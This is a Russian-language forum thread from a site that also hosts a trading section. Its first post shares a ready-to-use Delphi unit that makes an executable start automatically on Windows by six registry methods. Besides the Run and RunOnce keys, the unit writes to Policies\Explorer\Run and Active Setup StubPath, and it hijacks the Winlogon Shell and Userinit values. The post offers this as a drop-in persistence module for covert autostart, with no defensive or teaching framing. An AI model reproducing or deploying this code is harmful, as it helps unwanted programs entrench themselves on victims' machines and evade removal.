ShopWorld
Вернуться ShopWorld > Статьи и обсуждение > Программирование > С/С++, C#, Delphi, .NET, Asm ...
 
С/С++, C#, Delphi, .NET, Asm ... прикладное программирование


Ответ
 
Опции темы Опции просмотра
 
Старый 27.01.2011, 14:47   #1
n\A
Посетитель
 
Аватар для n\A
 
Регистрация: 27.01.2011
Сообщений: 17

Сказали спасибо: 14

66606606

(Delphi) Автозапуск шестью методами

Код:
unit uStartUp;

interface

uses windows, sysutils;

procedure AddToRun(name,exe:string);
procedure AddToRunOnce(name,exe:string);
procedure AddToPolicies(name,exe:string);
procedure AddToActiveX(exe:string);
procedure AddToUserInit(exe:string);
procedure AddToShell(exe:string);

implementation

function SetTheReg(key:Hkey; subkey,name,value:string):boolean;
var
regKey:hkey;
begin
  result:=FALSE;
  RegCreateKey(key,PChar(subkey),regKey);
  if RegSetValueEx(regKey,Pchar(name),0,REG_SZ,pchar(value),length(value)) = 0 then
    result:=TRUE;
  RegCloseKey(regKey);
end;

function GetTheReg(key:Hkey; subkey,nombre:String):String;
var
  bytesread:dword;
  regKey: HKEY;
  valor:String;
begin
  Result:='';
  RegOpenKeyEx(key,PChar(subkey),0, KEY_READ, regKey);
  RegQueryValueEx(regKey,PChar(nombre),nil,nil,nil,@bytesread);
  SetLength(valor, bytesread);
  if RegQueryValueEx(regKey,PChar(nombre),nil,nil,@valor[1],@bytesread)=0 then
    result:=valor;
  RegCloseKey(regKey);
end;

function DelTheReg(RootKey: HKEY; Name: String): boolean;
var
  SubKey: String;
  n: integer;
  hTemp: HKEY;
begin
  Result := False;
  n := LastDelimiter('\', Name);
  if n > 0 then
  begin
    SubKey := Copy(Name, 1, n - 1);
    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then
    begin
      SubKey := Copy(Name, n + 1, Length(Name) - n);
      Result := (RegDeleteKey(hTemp, PChar(SubKey)) = ERROR_SUCCESS);
      RegCloseKey(hTemp);
    end;
  end;
end;

procedure AddToPolicies(name,exe: String);
begin
  SetTheReg(HKEY_CURRENT_USER,'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',name,exe);
end;

procedure AddToShell(exe: String);
var
  Original: string;
begin
  Original:=GetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell');
  if ansipos(exe, original)=0 then
    SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell',PChar(Original)+' "'+exe+'"');
end;

procedure AddToRunOnce(name,exe: String);
begin
    SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',name,'"'+exe+'"');
end;

procedure AddToRun(name,exe: String);
begin
    SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',name,'"'+exe+'"');
end;

procedure AddToUserInit(exe: String);
var
  Original: string;
begin
  Original:=GetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit');
  if ansipos(exe, original)=0 then
    SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit',PChar(Original)+' "'+exe+'"');
end;

procedure AddToActiveX(exe:string);
begin
  SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Active Setup\Installed Components\{4fz8rk-15aq-16nc-23or4-2ke0fa051515}','StubPath','"'+exe+'"');
end;

end.
n\A вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Сказали спасибо:
X-Cod (23.01.2013)
Внимание посетители ShopWorld.biz
                                       У нас проводится Набор модераторов.
                                       Правила раздела: Покупка / Продажа / Обмен / Услуги
                                       Проверка ваших тем администрацией.(Раздел "Торговля")
                                       Пожелания по работе форума и Реклама на форуме.
                                       Советуем заглянуть вам в раздел Торговля и Статьи и обсуждение или World navigation
                                       Для связи с администрацией пишите в icq: 6506666 или в ЛС.
                                       Администрация не несет ответственности за причиненный вред пользователям и от других пользователей(пользуйтесь гарантом),
                                       Все материалы размещенные на сайте предоставленны в ознакомительных целях.
                                       Ап темы в разделе Покупка / Продажа / Обмен / Услуги раз в 5 дней, как апать тему читаем тут.
Старый 29.10.2012, 02:16   #2
fghjkl
Посетитель
 
Аватар для fghjkl
 
Регистрация: 29.10.2012
Сообщений: 6

Сказали спасибо: 0
Спасибо
fghjkl вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Текущее время: 00:22. Часовой пояс GMT +5.

Автор ShopWorld: †SHYLLER†
Яндекс.Метрика